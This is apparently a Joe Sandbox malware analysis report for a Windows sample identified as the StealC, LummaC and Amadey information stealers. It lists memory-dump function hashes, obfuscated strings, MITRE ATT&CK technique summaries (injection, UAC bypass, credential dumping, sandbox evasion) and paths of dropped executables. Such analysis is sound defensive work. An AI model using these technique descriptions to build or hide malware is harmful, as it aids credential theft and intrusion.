Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02d6c202d37f43a1fc4a1cc7becbf18e21b7df0f2b9b72fc3f9a12523b32f88d
Instruction ID: 91ab9f1898b90a5f1d89caf50e8a8cac309dce0fc578a40e84afc5da17ecaf30
Opcode Fuzzy Hash: 02d6c202d37f43a1fc4a1cc7becbf18e21b7df0f2b9b72fc3f9a12523b32f88d
Instruction Fuzzy Hash: 7BE0C230641608AFDF3ABB58DC9DD493B2AEF81751F108810FC0886221CB39FC81EA80

Function 00F9A1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: d1bcdc8529b1b8f8f7605e9b7b0a50bd9cfb05e401802bf01076f3c9e9a9ba7f
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: AFE08C32911228EBCB16DBC8C904D8AF3ECEB48B10F254096F501D3240C274DF80DBD0

Function 00F72E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

Fz==, xrefs: 00F7369E
invalid stoi argument, xrefs: 00F7425A
HBhr, xrefs: 00F7378F
246122658369, xrefs: 00F733D4
WGt=, xrefs: 00F733BA
8KG0fymoFx==, xrefs: 00F72EC7
stoi argument out of range, xrefs: 00F74269

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$8KG0fymoFx==$Fz==$HBhr$WGt=$invalid stoi argument$stoi argument out of range
API String ID: 0-2390467879
Opcode ID: 11b84f7e8fec7de93d478778836e7473d0caf6f928a97b986a07303c505615bb
Instruction ID: 56901c12b3eb63135c255f4adbdc99a9581f35da46ce1882817d99c4b2db61f1
Opcode Fuzzy Hash: 11b84f7e8fec7de93d478778836e7473d0caf6f928a97b986a07303c505615bb
Instruction Fuzzy Hash: A702C170D00248EFEF14EFA8CD45BDE7BB5EF05304F508159E409A7282D7799A44EBA2

Function 00F94770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F947A7
___except_validate_context_record.LIBVCRUNTIME ref: 00F947AF
_ValidateLocalCookies.LIBCMT ref: 00F94838
__IsNonwritableInCurrentImage.LIBCMT ref: 00F94863
_ValidateLocalCookies.LIBCMT ref: 00F948B8

Strings

csm, xrefs: 00F9484D

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 785d86af53c2e58942f8a10ed44114814dd94811b93a43630ffb7707eaa505a0
Instruction ID: 0d2241662c070eea81e0e2e7f41fca124176e1be8469fd845fd95ea6ef1079f2
Opcode Fuzzy Hash: 785d86af53c2e58942f8a10ed44114814dd94811b93a43630ffb7707eaa505a0
Instruction Fuzzy Hash: 0C51D434E00248ABDF14DF68CC81EAE7BB5AF55328F188155E8149B352D736FE06EB91

Function 00F970C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00F9710B

Strings

.com, xrefs: 00F9714B
.bat, xrefs: 00F9713A
.cmd, xrefs: 00F97129
.exe, xrefs: 00F97118

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 87ca285c2813d9c118106bc28f26a41da0f4114092a4acd1f82273204afe62a2
Instruction ID: f4d2c1ccd045e31e7c8c1ac5ef4630509ed256ddcbde92a7823aba70c2bb7aa0
Opcode Fuzzy Hash: 87ca285c2813d9c118106bc28f26a41da0f4114092a4acd1f82273204afe62a2
Instruction Fuzzy Hash: 2F01DB37A28716277E19741AAC0277B27989B82BB4715002FF944F73D1DF49DC4271A1

Function 00F62E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00F62F1F
__Mtx_unlock.LIBCPMT ref: 00F62F8C
__Cnd_broadcast.LIBCPMT ref: 00F62FA3
__Mtx_unlock.LIBCPMT ref: 00F630B5
__Mtx_unlock.LIBCPMT ref: 00F6315B

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5c1a6a2b0d7e28a25d7dbe137edf02068c301676d415aae05181d68f972b9a26
Instruction ID: 268543fd28d2cbac80eb26cfdf783624be5578421bbac2b030f4d3b52b88b92d
Opcode Fuzzy Hash: 5c1a6a2b0d7e28a25d7dbe137edf02068c301676d415aae05181d68f972b9a26
Instruction Fuzzy Hash: 15A1C1B1E00605AFDB11DB64CD45B5AB7B8FF15324F04812EE819D7241EB35EA04EBD2

Function 00F9C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00F9CA37

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 340f6f98350b8726f39c659c9014d11f6f40231dbd66d25d198d8ca8028f6fa4
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: F5B11772D002859FEF15CF28C851BAEBFE5EF95350F1481AAE845EB341D6389D41EBA0

Function 00F7BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00F7BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 00F7BB14
_xtime_get.LIBCPMT ref: 00F7BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 00F7BB43

Memory Dump Source

Source File: 00000004.00000002.2616248979.0000000000F61000.00000040.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000004.00000002.2615894453.0000000000F60000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2616248979.0000000000FC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617249332.0000000000FC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000000FCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001152000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001239000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.0000000001264000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000126B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2617432680.000000000127B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2622173818.000000000127C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623326808.0000000001421000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2623415969.0000000001423000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f60000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 308a1a9f88e0b392f02ffc2c5435509b90c60d173b0837569a1b611b63117fac
Instruction ID: 505c3ca2207c4b557f38cea090b1572ce3f76447c95a11d001cd794da55e9e26
Opcode Fuzzy Hash: 308a1a9f88e0b392f02ffc2c5435509b90c60d173b0837569a1b611b63117fac
Instruction Fuzzy Hash: 10214171D00109AFDF10EFA4CC819AEBBB8EF49710F00406AF905A7251DB35AD01ABA2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\K73CAIXQZ7ROMEX8OQ5J7.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\FontCreator[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe

C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe

C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe

Windows Analysis Report
